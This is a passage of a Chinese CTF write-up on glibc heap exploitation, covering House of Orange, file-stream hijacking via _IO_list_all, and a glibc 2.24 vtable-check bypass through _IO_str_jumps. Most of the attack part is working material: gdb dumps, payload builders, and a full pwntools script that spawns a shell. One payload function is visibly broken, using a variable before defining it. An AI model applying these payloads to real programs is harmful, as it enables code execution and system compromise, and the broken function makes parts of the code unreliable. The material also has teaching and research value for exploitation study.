R12: 0x2aaaab097b78 --> 0x55555577a010 --> 0x0
R13: 0x555555758570 --> 0x68732f6e69622f ('/bin/sh')
R14: 0x2710
R15: 0x2aaaab098510 --> 0x0
EFLAGS: 0x287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x2aaaaad54e03 <_int_malloc+643>: je 0x2aaaaad54fa0 <_int_malloc+1056>
0x2aaaaad54e09 <_int_malloc+649>: cmp rbp,rsi
0x2aaaaad54e0c <_int_malloc+652>: mov QWORD PTR [rbx+0x70],r15
=> 0x2aaaaad54e10 <_int_malloc+656>: mov QWORD PTR [r15+0x10],r12
0x2aaaaad54e14 <_int_malloc+660>: je 0x2aaaaad552c8 <_int_malloc+1864>
0x2aaaaad54e1a <_int_malloc+666>: cmp rsi,0x3ff
0x2aaaaad54e21 <_int_malloc+673>: jbe 0x2aaaaad54d80 <_int_malloc+512>
0x2aaaaad54e27 <_int_malloc+679>: mov rax,rsi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe520 --> 0x2
0008| 0x7fffffffe528 --> 0x10
0016| 0x7fffffffe530 --> 0x7fffffffe5a0 --> 0xa ('\n')
0024| 0x7fffffffe538 --> 0x7fffffffe740 --> 0x1
0032| 0x7fffffffe540 --> 0x0
0040| 0x7fffffffe548 --> 0x0
0048| 0x7fffffffe550 --> 0xffff800000001a61
0056| 0x7fffffffe558 --> 0x7fffffffe59f --> 0xa00 ('')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
3516 in malloc.c
1: _IO_list_all = (struct _IO_FILE_plus *) 0x2aaaab098540 <_IO_2_1_stderr_>

此时,mov QWORD PTR [r15+0x10],r12

R12: 0x2aaaab097b78 --> 0x55555577a010 --> 0x0 ,R15: 0x2aaaab098510 --> 0x0

1
2
gdb-peda$ p _IO_list_all
$11 = (struct _IO_FILE_plus *) 0x2aaaab097b78 <main_arena+88>

_IO_list_all 被 修改成 0x2aaaab097b78 addr 。

此时 _IO_list_all —> main_arean 。另外一个问题来了,我们虽然控制了 _IO_list_all ,但是无法修改main_arean 的值。

我们注意到,此时 main_arean 被当做 file struct ,则应有如下结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
struct _IO_FILE {  
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;//这个就是linux内核中文件描述符fd
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;//IO函数跳转表
};

我们注意到,这里 struct _IO_FILE *_chain;

_IO_File 是个文件结构体,_chain 指向了下一个结构体,如果我们能控制 chain 指向 heap buffer ,我们就能构造一个完整的file struct ,那么此刻要解决的问题就是如何控制 chain 指向 heap buufer 呢?

我们此刻知道, chain 在 file struct的offset 为0x68

1
2
gdb-peda$ p &((struct _IO_FILE*)0)->_chain
$13 = (struct _IO_FILE **) 0x68

Unsortbin 位于bin[1] 后面的的62个bin 均为 smallbin

small bins 中每个 chunk 的大小与其所在的 bin 的 index 的关系为:chunk_size = 2 SIZE_SZ index,具体如下

下标 SIZE_SZ=4(32 位) SIZE_SZ=8(64 位)
2 16 32
3 24 48
4 32 64
5 40 80
x 24x 28x
63 504 1008

此时 offset = 0x68 在 bin[4]

fp->_chain = fp+0x68 = unsorted_bin + 0x68

bins[2-6]都是smallbins的范围,大小为0x20,0x30,0x40,0x50,0x60。所以为了让fp指向我们指定的位置,就需要让bins[6]即0x60的smallbin是我们控制的。
那么现在unsorted bin中存在唯一的chunktop,我们将它的大小改为0x61(因为unsorted bin中必然是空闲的,所以其前一个必然在使用中),那么当其加入smallbin中就会加入到bins[6],这样就能实现fp=top也就是我们控制的位置了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555577a010 (size : 0x20ff0)
last_remainder: 0x555555758570 (size : 0x60)
unsortbin: 0x555555758570 (size : 0x60)
(0x060) smallbin[ 4]: 0x555555758570 (overlap chunk with 0x555555758570(freed) )
gdb-peda$

此时

fp—> chain—> 0x555555758570

如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
gdb-peda$ fp 0x2aaaab097b78
$18 = {
file = {
_flags = 0x5577a010,
_IO_read_ptr = 0x555555758570 "/bin/sh",
_IO_read_end = 0x555555758570 "/bin/sh",
_IO_read_base = 0x2aaaab098510 "",
_IO_write_base = 0x2aaaab097b88 <main_arena+104> "p\205uUUU",
_IO_write_ptr = 0x2aaaab097b88 <main_arena+104> "p\205uUUU",
_IO_write_end = 0x2aaaab097b98 <main_arena+120> "\210{\t\253\252*",
_IO_buf_base = 0x2aaaab097b98 <main_arena+120> "\210{\t\253\252*",
_IO_buf_end = 0x2aaaab097ba8 <main_arena+136> "\230{\t\253\252*",
_IO_save_base = 0x2aaaab097ba8 <main_arena+136> "\230{\t\253\252*",
_IO_backup_base = 0x2aaaab097bb8 <main_arena+152> "\250{\t\253\252*",
_IO_save_end = 0x2aaaab097bb8 <main_arena+152> "\250{\t\253\252*",
_markers = 0x555555758570,
_chain = 0x555555758570,
_fileno = 0xab097bd8,
_flags2 = 0x2aaa,
_old_offset = 0x2aaaab097bd8,
_cur_column = 0x7be8,
_vtable_offset = 0x9,
_shortbuf = "\253",
_lock = 0x2aaaab097be8 <main_arena+200>,
_offset = 0x2aaaab097bf8,
_codecvt = 0x2aaaab097bf8 <main_arena+216>,
_wide_data = 0x2aaaab097c08 <main_arena+232>,
_freeres_list = 0x2aaaab097c08 <main_arena+232>,
_freeres_buf = 0x2aaaab097c18 <main_arena+248>,
__pad5 = 0x2aaaab097c18,
_mode = 0xab097c28,
_unused2 = "\252*\000\000(|\t\253\252*\000\000\070|\t\253\252*\000"
},
vtable = 0x2aaaab097c38 <main_arena+280>
}
gdb-peda$ fp 0x555555758570
$19 = {
file = {
_flags = 0x6e69622f,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x2aaaab097bc8 <main_arena+168> "\270{\t\253\252*",
_IO_read_base = 0x2aaaab097bc8 <main_arena+168> "\270{\t\253\252*",
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0x2aaaaad18390,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x0,
_offset = 0x0,
_codecvt = 0x0,
_wide_data = 0x555555758600,
_freeres_list = 0x2,
_freeres_buf = 0x3,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = "\377\377\377\377", '\000' <repeats 15 times>
},
vtable = 0x5555557585d0
}

最后,我们还需要一些条件的bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
while (fp != NULL)
{

fp = fp->_chain;
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)

条件总结如下:

1
2
3
4
5
6
1.fp->_mode <= 0
2.fp->_IO_write_ptr > fp->_IO_write_base

1._IO_vtable_offset (fp) == 0
2.fp->_mode > 0
3.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

这里可以选择第一种构造条件简单的进行构造

1
2
3
4
5
6
7
8
def house_of_orange(head_addr, system_addr, io_list_all):
payload = b'/bin/sh\x00'
payload = payload + p64(97) + p64(0) + p64(io_list_all - 16)
payload = payload + p64(0) + p64(1) + p64(0) * 9 + p64(system_addr) + p64(0
) * 4
payload = payload + p64(head_addr + 18 * 8) + p64(2) + p64(3) + p64(0
) + p64(18446744073709551615) + p64(0) * 2 + p64(head_addr + 12 * 8)
return payload

构造结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
gdb-peda$ fp 0x555555758570
$20 = {
file = {
_flags = 0x6e69622f,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x2aaaab097bc8 <main_arena+168> "\270{\t\253\252*",
_IO_read_base = 0x2aaaab097bc8 <main_arena+168> "\270{\t\253\252*",
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0x2aaaaad18390,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x0,
_offset = 0x0,
_codecvt = 0x0,
_wide_data = 0x555555758600,
_freeres_list = 0x2,
_freeres_buf = 0x3,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = "\377\377\377\377", '\000' <repeats 15 times>
},
vtable = 0x5555557585d0
}

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from swpwn import *
binary = './houseoforange'
elf = ELF(binary)
libc = elf.libc

io = process(binary, aslr = 0)
context.log_level = 'debug'
context.arch = elf.arch
context.terminal = ["python", "notiterm.py","-t","iterm","-e"]

myu64 = lambda x: u64(x.ljust(8, '\0'))
ub_offset = 0x3c4b30


def house_of_orange(head_addr, system_addr, io_list_all):
payload = b'/bin/sh\x00'
payload = payload + p64(97) + p64(0) + p64(io_list_all - 16)
payload = payload + p64(0) + p64(1) + p64(0) * 9 + p64(system_addr) + p64(0
) * 4
payload = payload + p64(head_addr + 18 * 8) + p64(2) + p64(3) + p64(0
) + p64(18446744073709551615) + p64(0) * 2 + p64(head_addr + 12 * 8)
return payload

def menu(idx):
io.recvuntil(': ')
io.sendline(str(idx))

def see():
menu(2)

def build(nm, length, pz, color):
menu(1)
io.recvuntil(":")
io.sendline(str(length))
io.recvuntil(":")
io.sendline(nm)
io.recvuntil(":")
io.sendline(str(pz))
io.recvuntil(":")
io.sendline(str(color))

def upgrade(nm, length, pz, color):
menu(3)
io.recvuntil(":")
io.sendline(str(length))
io.recvuntil(":")
io.send(nm)
io.recvuntil(":")
io.sendline(str(pz))
io.recvuntil(":")
io.sendline(str(color))
breakpoint = [0x01415,0x13FD]


gdb.attach(io,"""
break *0x555555554000+0x01415
break *0x555555554000+0x13FD
""")

pause()
build('0' * 8, 0x90, 1, 1)

pay = 'c' * 0x90
pay += p64(0) + p64(0x21)
pay += p32(0) + p32(0x20) + p64(0)
pay += p64(0) + p64(0xf21)
# overwrite the top chunk
pause()
upgrade(pay, len(pay), 1, 1)

# trigger _int_free()
build('1', 0x1000, 1, 1)

# build a large chunk
build('2', 0x400, 1, 1)

see()
io.recvuntil(": ")

libc_addr = myu64(io.recvn(6)) & ~(0x1000 - 1)
log.info("\033[33m" + hex(libc_addr) + "\033[0m")
libc.address = libc_addr - 0x3bd000
log.info("\033[33m" + hex(libc.address) + "\033[0m")

# leak heap with fd_nextsize, bk_nextsize
upgrade('2' * 0x10, 0x400, 1, 1)

see()
io.recvuntil("2" * 0x10)
heap_addr = myu64(io.recvn(6)) - 0x140
log.info("\033[33m" + hex(heap_addr) + "\033[0m")


# gdb.attach(io,'''
# break *0x555555554000+0x13FD
# break *0x555555554000+0x01415
# ''')

# unsorted bin attack
pay = 'a' * 0x400
pay += p64(0) + p64(0x21)
pay += p32(0x1f) + p32(0x1) + p64(0)


stream = house_of_orange(0x555555758570,libc.symbols['system'],libc.symbols['_IO_list_all'])

# stream = '/bin/sh\0' + p64(0x61)
# stream += p64(0) + p64(libc.symbols['_IO_list_all'] - 0x10)

# stream = stream.ljust(0xa0, '\0')
# ## fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
# stream += p64(heap_addr + 0x610)
# stream = stream.ljust(0xc0, '\0')
# stream += p64(1)

# pay += stream
# pay += p64(0) * 2
# ## vtable
# pay += p64(heap_addr + 0x668)
# pay += p64(0) * 6
# pay += p64(libc.symbols['system'])

pay += stream

pause()

upgrade(pay, 0x800, 1, 1)

pause()

io.recvuntil(":")
pause()
io.sendline('1')

io.interactive()

0x03 houseoforange (glibc 2.24 bypass)

在 glibc 2.24 中新增了对 vtable 的check。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* Check if unknown vtable pointers are permitted; otherwise,
terminate the process. */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

首先,计算 section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;,紧接着会判断 vtable - start_libc_IO_vtables 的 offset ,如果这个 offset 大于 section_length ,即大于 __stop___libc_IO_vtables - __start___libc_IO_vtables 那么就会调用 _IO_vtable_check() 这个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;
/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

两段 check:

这里,angelboy 提出来了两种bypass 方法

  • overwrite IO_accept_foreign_vtables

    由于有 PTR_DEMANGLE(flag) 的存在,很难bypass

  • overwrite _dl_open_hook

    这是一个不错的选项,但是如果我们能覆盖 _dl_open_hook 意味着,我们能控制其他更好的内容。

此时就把视角转移到了 _IO_FILE 结构体上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
int _flags2;
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
};

因为进程中包含了系统默认的三个文件流 stdin\stdout\stderr,因此这种方式可以不需要进程中存在文件操作,通过 scanf\printf 一样可以进行利用。

在_IO_FILE 中_IO_buf_base 表示操作的起始地址,_IO_buf_end 表示结束地址,通过控制这两个数据可以实现控制读写的操作。这种方法,留到下一个小个地方写,这里要写的是另外一种方法

或者将视角移到了其他的 vtable 中,在 libc 中不仅仅有 _IO_file_jumps 这么一个 vtable ,还有_IO_str_jumps ,其虚表结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

_IO_str_overflow 为例:当我们将文件指针的vtable设置为_IO_str_jumps

_IO_str_jumps -> overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES) // must bypass
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) // should enter here
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // must bypass
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen) // pass 一般check 为真
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}

利用以下代码来劫持程序流程

1
2
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

_IO_str_overflow ,有几个条件需要满足

  • fp->_flags & _IO_NO_WRITES为假
  • (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))
  • fp->_flags & _IO_USER_BUF(0x01)为假
  • 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数
  • new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址
  • fp+0xe0指向system地址

总结bypass如下:

1
2
3
4
5
6
7
8
9
10
_flags = 0
_IO_write_base = 0
_IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1
_IO_buf_end = (binsh_in_libc_addr -100) / 2

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1

vtable = _IO_str_jumps - 0x18

关键paylaod 如下:

1
2
3
4
5
def VtableCheckBypass(vtable_addr, system_addr, binsh_addr, io_list_all_addr):
payload = p64(0) + p64(0x61) + p64(0) + p64(io_list_all_addr - 0x10)
payload += p64(0) + p64((binsh_addr - 100) / 2 + 1) + p64(0) + p64(0) + p64((binsh_addr - 100) / 2) + p64(0) * 6 + p64(0) + p64(0) * 4
payload += p64(0) + p64(2) + p64(3) + p64(0) + p64(0xffffffffffffffff) + p64(0) * 2 + p64(vtable_addr - 0x18) + p64(system_addr)
return payload

_IO_str_jumps -> finish

原理与上面的 _IO_str_jumps -> overflow 类似

1
2
3
4
5
6
7
8
9
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //[fp+0xe8]
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

条件:

  1. _IO_buf_base不为空
  2. _flags & _IO_USER_BUF(0x01) 为假

构造如下:

1
2
3
4
5
6
7
8
_flags = (binsh_in_libc + 0x10) & ~1
_IO_buf_base = binsh_addr

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1
vtable = _IO_str_finish - 0x18
fp+0xe8 -> system_addr

示例

修改了 how2heap 的 houseoforange 代码,可以自己动手调试一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
// unsorted bin attack
p1 = malloc(0x400-16);
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
p2 = malloc(0x1000);
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
// _IO_str_finish conditions
char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack

top[0] = ((size_t) &binsh_in_libc + 0x10) & ~1;
top[7] = ((size_t)&binsh_in_libc); // buf_base

// house_of_orange conditions
top[1] = 0x61;
top[5] = 0x1 ; //_IO_write_ptr
top[20] = (size_t) &top[18];
top[21] = 2;
top[22] = 3;
top[24] = -1;
top[27] = (size_t) stdin - 0x33f0 - 0x18;
top[29] = (size_t) &winner;
top[30] = (size_t) &top[30];

malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
}

关键payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def VtableCheckBypass_2(vtable_addr,heap_addr,system_addr,binsh_addr,io_list_all_addr):
"""
_IO_str_finish conditions

houseoforange glibc.2.24 bypass vtablecheck

vtable_addr is _IO_str_finish addr (libc 2.24: 0x3BE050)

"""
payload += p64((binsh_addr+0x10) & ~1) + p64(0x61)
payload += p64(0) + p64(io_list_all_addr-0x10)
payload += p64(0) + p64(1)
payload += p64(0) + p64(binsh_addr)
payload += p64(0) * 12
payload += p64(0) + p64(0) + p64(0) + p64(0) + p64(0)
payload += p64(0) * 2
payload += p64(vtable_addr-0x18)
payload = payload.ljust(0xe8,'\x00') + p64(system_addr)
payload += p64(payload+0x660)

return payload

0x04 缓冲区以及fileno的利用

在 0x03 提到了_IO_FILE 结构体上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
int _flags2;
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
};

因为进程中包含了系统默认的三个文件流 stdin\stdout\stderr,因此这种方式可以不需要进程中存在文件操作,通过 scanf\printf 一样可以进行利用。